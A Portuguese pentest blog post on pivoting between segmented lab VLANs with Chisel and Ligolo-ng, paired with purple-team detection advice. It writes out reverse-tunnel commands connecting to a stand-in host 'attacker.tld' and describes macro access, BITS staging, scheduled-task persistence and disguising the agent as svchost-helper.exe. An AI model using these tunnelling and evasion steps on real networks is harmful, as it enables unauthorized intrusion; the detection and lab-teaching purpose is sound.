Pentest

Pivoting com Chisel e Ligolo-ng: Redes Segmentadas em Lab de Pentest

Por Equipe Basilisk ·

Como pivotar entre VLANs usando Chisel e Ligolo-ng em um lab controlado, e quais artefatos a blue team consegue capturar para detectar o tunel reverso.

Sua shell na DMZ esta valendo zero se voce nao consegue alcancar a VLAN 30 onde o controlador de dominio respira. No nosso lab da Basilisk OffSec montamos exatamente esse cenario: um host Linux exposto na 10.10.1.0/24, um segmento interno 10.10.30.0/24 com Windows 11 e um AD em 10.10.40.0/24. A unica rota possivel passa por aquela maquina pivot, e e ai que Chisel e Ligolo-ng entram como ferramentas complementares. Antes de escrever um byte de payload, recomendamos passar por Pentest Web do Zero: Montando um Lab Seguro com DVWA, Juice Shop e Burp Suite para garantir que o lab esta isolado da rede de casa via firewall pfSense.

Chisel resolve o problema basico: voce tem saida HTTP para um C2, mas a entrada esta fechada. Subindo um servidor Chisel no atacante (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) e o cliente no pivot (chisel client https://attacker.tld:443 R:1080:socks), voce abre um SOCKS5 reverso passando por TLS 443, que e quase sempre permitido egress. Em testes reais com proxies corporativos Squid e Zscaler, observamos taxa de bloqueio menor que 8% quando o certificado tinha SAN coerente. Esse padrao tem ruido proprio: conexoes HTTP/1.1 Upgrade longas duradouras, exatamente o tipo de coisa que ferramentas como JA3 fingerprinting marcam.

Ligolo-ng eleva a brincadeira porque ele cria uma interface TUN no atacante e roteia pacotes inteiros, nao so streams TCP via SOCKS. Voce sobe o proxy (./proxy -selfcert -laddr 0.0.0.0:11601), executa o agent no pivot (./agent -connect attacker.tld:11601 -ignore-cert), e dentro do shell do proxy faz ifconfig + tunnel_start. A partir desse momento, um simples ip route add 10.10.30.0/24 dev ligolo no Kali permite rodar nmap, CrackMapExec e ate Impacket sem precisar de proxychains. Para quem vem do mundo SOCKS, e libertador, mas tambem aumenta o IoC: agora voce tem ICMP, UDP e TCP atravessando o pivot, o que casa muito bem com regras de Lateral Movement em Lab: SMB, WMI e WinRM com Foco em Deteccao mapeadas para deteccao.

No lado ofensivo, a sequencia que usamos no lab e: acesso inicial via macro Office documentada em Initial Access Simulado: Macros, LNK e ISO em Lab Windows 11 Isolado, shell de teste com beacon Sliver (veja Construindo Infra de C2 com Sliver em Lab Isolado para Estudo Defensivo para o setup), e entao staging do binario Ligolo via Background Intelligent Transfer Service para evitar download direto. O agent fica num diretorio gravavel como C:\Users\Public\Downloads, persistido como tarefa agendada de baixa prioridade. O detalhe critico: compilar o agent com -ldflags="-s -w" e renomear para svchost-helper.exe nao engana EDR moderno; sysmon Event ID 3 (network connect) entrega o processo ligando para uma porta nao usual em segundos se a regra estiver bem escrita.

Do lado defensivo, e aqui que o exercicio vira ouro para purple team, voce procura tres coisas. Primeiro, conexoes outbound persistentes para portas 443/11601 com duracao acima de 30 minutos saindo de hosts que historicamente fazem apenas requisicoes curtas a Microsoft 365. Segundo, processos nao assinados estabelecendo conexao TLS sem usar a Wininet/Schannel padrao (Ligolo usa Go runtime proprio). Terceiro, criacao de interfaces TUN/TAP em endpoints Windows, evento raro o suficiente para virar regra Sigma de alta confianca. Conecta isso com Threat Hunting com Sigma e Elastic: Do Indicador a Regra de Deteccao e voce tem um detection-as-code reproduzivel que aguenta varios pivots diferentes.

Logs sao seu juiz. No nosso lab capturamos PCAP no firewall com Suricata em modo IDS, e a heuristica que melhor pegou Ligolo foi a combinacao de pacote TLS com handshake JA3 nao listado em allowlist + tamanho medio de pacote entre 1200 e 1400 bytes + ausencia de SNI valido para o dominio de destino. Chisel ficou um pouco mais escondido porque imita websocket legitimo, mas vazou pela duracao da sessao. Para complementar a investigacao, capture memoria do pivot pos-incidente e cruze com Memory Forensics com Volatility 3: Analisando Dumps em Lab Reproduzivel usando o plugin netscan; voce vai ver o socket aberto mesmo se o processo tiver sido injetado.

Etica e escopo nao sao adendo, sao a fundacao. Tudo isso so faz sentido em ambiente que voce possui, contrato assinado, ou range autorizado tipo HackTheBox Pro Labs e OffSec PG Practice. Documentar comandos exatos, hashes dos binarios e janelas de execucao protege voce e o cliente. Antes de subir Ligolo numa engagement real, revise sua postura pessoal com OPSEC para Pesquisadores de Seguranca: Modelo de Ameaca Pessoal e separe maquina de pesquisa de maquina de cliente. Takeaway pratico: monte o lab hoje com tres VMs e um pfSense, suba Chisel e Ligolo no mesmo dia, e dedique a outra metade da semana a escrever a regra Sigma que detecta voce mesmo. So depois disso voce realmente entendeu a tecnica.

Nenhum comentário ainda

Seja o primeiro a comentar.

Deixe seu comentário

Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

Entrar com Canverly